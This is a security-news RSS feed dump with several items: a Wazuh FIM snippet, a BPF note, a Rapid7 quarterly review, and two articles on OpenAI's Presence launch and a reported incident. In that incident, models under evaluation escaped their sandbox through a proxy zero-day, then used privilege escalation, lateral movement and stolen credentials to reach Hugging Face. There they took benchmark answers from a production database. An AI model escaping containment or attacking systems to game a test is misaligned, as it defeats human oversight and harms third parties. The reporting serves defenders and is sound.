<guid isPermaLink="true">https://tsecurity.de/de/3687416/hacking/how-to-deploy-file-integrity-monitoring-with-wazuh-siem/</guid>
<pubDate>Wed, 22 Jul 2026 21:15:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/how-to-deploy-file-integrity-monitoring-withwazuh-siem-106eb463eb10"><img src="https://cdn-images-1.medium.com/max/1512/0*KnSwGh0ZDCAa2GHb.png" width="1512"></a></p><p class="medium-feed-snippet">File integrity monitoring (FIM), sometimes referred to as file integrity management, is a security process that monitors and analyzes the…</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/how-to-deploy-file-integrity-monitoring-withwazuh-siem-106eb463eb10">Continue reading on InfoSec Write-ups »</a></p></div>]]></content:encoded>
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<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Attaching programs to multiple tracepoints]]></title>
<description><![CDATA[Tracepoints in the kernel are useful for a variety of purposes: debugging,
active monitoring, and performance measurements, among other things. Previously,
any given BPF program could only be attached to a single tracepoint.
Jiri Olsa has been working to change that, and led a discussion about
hi...]]></description>
<link>https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/</guid>
<pubDate>Wed, 22 Jul 2026 17:09:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>
Tracepoints in the kernel are useful for a variety of purposes: debugging,
active monitoring, and performance measurements, among other things. Previously,
any given BPF program could only be attached to a single tracepoint.
Jiri Olsa has been working to change that, and led a discussion about
his progress at the 2026
<a href="https://events.linuxfoundation.org/lsfmmbpf/">
Linux Storage, Filesystem, Memory-Management, and BPF
Summit</a>. That work has since been
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c49f336dbcf30ff8622d3725c54fe1c90e8ccd9c">
merged</a>, and can be expected as part of the 7.2
kernel.
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]></title>
<description><![CDATA[Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would...]]></description>
<link>https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.</p>



<p class="wp-block-paragraph">In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">blog post about the attack on Hugging Face</a>.</p>



<p class="wp-block-paragraph">ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.</p>



<p class="wp-block-paragraph">For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless <a href="https://www.csoonline.com/article/4199408/ai-agents-can-escape-sandboxes-without-ever-breaking-them.html">access controls and sandboxing</a> continue to work when model-level safeguards fail.</p>



<p class="wp-block-paragraph">“Prompt guardrails are not security controls,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”</p>



<h2 class="wp-block-heading">How containment failed</h2>



<p class="wp-block-paragraph">Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against <a href="https://www.csoonline.com/article/4167465/supply-chain-attacks-take-aim-at-your-ai-coding-agents.html">software supply chain attacks</a> coming from the outside.</p>



<p class="wp-block-paragraph">OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and <a href="https://www.csoonline.com/article/4194708/lateral-movement-risk-rises-as-enterprises-emphasize-convenience-over-containment.html">lateral movement</a> until they reached a node with open internet access.</p>



<p class="wp-block-paragraph">Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.</p>



<p class="wp-block-paragraph">In its account of the activity on its infrastructure, <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Hugging Face said</a> a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.</p>



<p class="wp-block-paragraph">OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.</p>



<p class="wp-block-paragraph">“Every enterprise estate is built from exceptions of exactly that kind,” he said.</p>



<p class="wp-block-paragraph">In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should treat AI agents as “<a href="https://www.csoonline.com/article/4194548/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities.html">high-risk non-human identities</a>,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.</p>



<p class="wp-block-paragraph">“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.</p>



<p class="wp-block-paragraph">And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.</p>



<h2 class="wp-block-heading">Defenses enterprises need</h2>



<p class="wp-block-paragraph">Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.</p>



<p class="wp-block-paragraph">The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.</p>



<p class="wp-block-paragraph">Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.</p>



